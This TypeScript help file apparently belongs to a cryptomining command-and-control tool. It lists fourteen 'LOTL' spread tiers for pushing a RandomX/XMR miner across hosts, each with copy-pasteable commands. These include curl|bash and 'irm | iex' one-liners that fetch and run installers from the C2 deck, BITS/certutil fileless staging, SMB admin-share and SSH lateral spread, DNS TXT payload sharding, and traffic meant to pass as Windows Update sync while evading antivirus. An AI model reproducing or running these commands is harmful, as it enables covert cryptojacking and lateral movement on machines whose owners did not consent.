AetherForge/server/web/src/help/lotlOnionTiers.ts

/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */

/** Operator note: spread tiers here are distinct from mining tiers. Adaptive strategy (server/internal/strategy) learns mining tier order from fleet stats and pushes strategy_reasoning on auth — it overrides mining order/skip hints only, not spread lotl_onion_tiers or patch_first gates. */
export const ADAPTIVE_STRATEGY_HELP =
  'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';

export const DEFAULT_LOTL_ONION_TIERS = [
  'vuln_recon',
  'docker',
  'wsl',
  'powershell',
  'dotnet',
  'bits_curl',
  'do_peer',
  'wsus_cache_peer',
  'dns_txt',
  'webrtc_mesh',
  'smb',
  'winrm',
  'linux',
  'gpo',
] as const;

export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];

export interface LotlOnionTierDoc {
  id: LotlOnionTierId;
  label: string;
  /** One-line operator hint for playbook tabs */
  hint: string;
  /** Plain-language definition for glossary and Forge docs */
  definition: string;
  /** Copy-pasteable CLI, Crucible command, or Forge preset example */
  example: string;
}

export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
  {
    id: 'vuln_recon',
    label: 'Vuln Recon',
    hint: 'Read-only KEV/CVE/service probe — report-only, no exploit',
    definition:
      'Runs a read-only vulnerability and posture scan on the host before any spread or mining. Findings feed risk badges and triple-onion gates; no exploit payloads are sent.',
    example:
      'Triple-onion recon tier (automatic on connect) or Crucible: `POST /api/v1/agents/{id}/command` `{"action":"full_sys_check"}` — `vuln_findings` appear in WS `stats_batch`.',
  },
  {
    id: 'docker',
    label: 'Docker',
    hint: 'Container worker image — isolated RandomX, no host miner exe drop',
    definition:
      'Deploys or mines inside an OCI container (Docker/Podman) so RandomX runs isolated from the host filesystem — useful when AV blocks dropped exes.',
    example:
      'Forge LOTL Onion preset (`lotl_onion_enabled`) + Calibrate `service_deploy_allowlist` maps `com.docker.service` → `docker_load`. Probe & Join picks lane when Docker service is running.',
  },
  {
    id: 'wsl',
    label: 'WSL',
    hint: 'WSL curl|bash one-liner when native Windows path is blocked',
    definition:
      'Uses Windows Subsystem for Linux to fetch and run the Linux worker via curl|bash when native Windows execution is blocked or unavailable.',
    example:
      'Autospread WSL path: `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"` (baked when WSL is detected).',
  },
  {
    id: 'powershell',
    label: 'PowerShell',
    hint: 'PS remoting / hidden install.ps1 from your C2 origin',
    definition:
      'Stages the worker with PowerShell — hidden window, encoded bootstrap, or PS remoting — without dropping a standalone miner exe on disk first.',
    example:
      'WinRM template one-liner: `irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex` — export via `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`.',
  },
  {
    id: 'dotnet',
    label: 'dotnet',
    hint: 'dotnet tool-run bootstrap — no standalone payload exe',
    definition:
      'Bootstraps the worker through the .NET CLI (`dotnet tool run` or bundled SDK) so the payload never appears as a lone unsigned exe.',
    example:
      'Mining execution tier `dotnet` in fallback chain when `miner_execution=dotnet` at forge; spread lane runs `dotnet` bootstrap from C2 `install.ps1` manifest.',
  },
  {
    id: 'bits_curl',
    label: 'bits/curl',
    hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch',
    definition:
      'Downloads staged chunks with BITS (`bitsadmin`) or `curl.exe`, optionally decodes via `certutil`, verifies SHA256, then launches — classic fileless staging.',
    example:
      'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
  },
  {
    id: 'do_peer',
    label: 'do_peer',
    hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
    definition:
      'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
    example:
      'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
  },
  {
    id: 'wsus_cache_peer',
    label: 'wsus_cache_peer',
    hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
    definition:
      'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
    example:
      'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
  },
  {
    id: 'dns_txt',
    label: 'dns_txt',
    hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
    definition:
      'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
    example:
      'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
  },
  {
    id: 'webrtc_mesh',
    label: 'webrtc_mesh',
    hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
    definition:
      'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
    example:
      'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
  },
  {
    id: 'smb',
    label: 'SMB',
    hint: 'admin$ / C$ copy + SCM — classic lateral on open 445',
    definition:
      'Laterally installs via SMB admin shares (admin$, C$) and Service Control Manager — no PsExec; uses `sc.exe` and `net.exe` LOLBins on open port 445.',
    example:
      'Crucible: `{"action":"spread_smb_unc","path":"\\\\\\\\forge-host\\\\pathforge$\\\\worker.exe"}` — or Path Tracer `POST /api/v1/pathtrace/spread` with `unc_path`.',
  },
  {
    id: 'winrm',
    label: 'WinRM',
    hint: 'Opportunistic PS remoting when 5985/5986 responds',
    definition:
      'Uses Windows Remote Management (ports 5985/5986) to run encoded install bootstrap on subnet peers when remoting is enabled.',
    example:
      'Autospread when `winrm_spread` forge flag set; manual: `winrs -r:TARGET hostname` then encoded bootstrap. Template export: `{"template":"winrm","com_hijack":false}`.',
  },
  {
    id: 'linux',
    label: 'Linux',
    hint: 'SSH lateral on Unix agents — same wallet, no extra drop',
    definition:
      'SSH/SCP lateral spread on Linux/macOS agents using passwordless keys — same XMR wallet, optional systemd-run or crontab LOTL persistence.',
    example:
      '`autospread_unix.go` lateral: `scp worker user@10.0.0.5:/tmp/ && ssh user@10.0.0.5 ./worker --spread-install --defer-mining`. Export: `{"template":"linux-lotl","lotl_mode":"both"}`.',
  },
  {
    id: 'gpo',
    label: 'GPO',
    hint: 'Domain startup/logon script push — operator-owned AD only',
    definition:
      'Group Policy startup script pulls the worker from your command deck on domain boot — mining policy stays server-side, not in the GPO blob.',
    example:
      'Export `{"template":"gpo"}` → deploy `gpo-startup.ps1` under Computer Configuration → Scripts → Startup. Intune sibling: `{"template":"intune"}`.',
  },
];

export function lotlTierDocUrl(tier: LotlOnionTierId): string {
  return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
}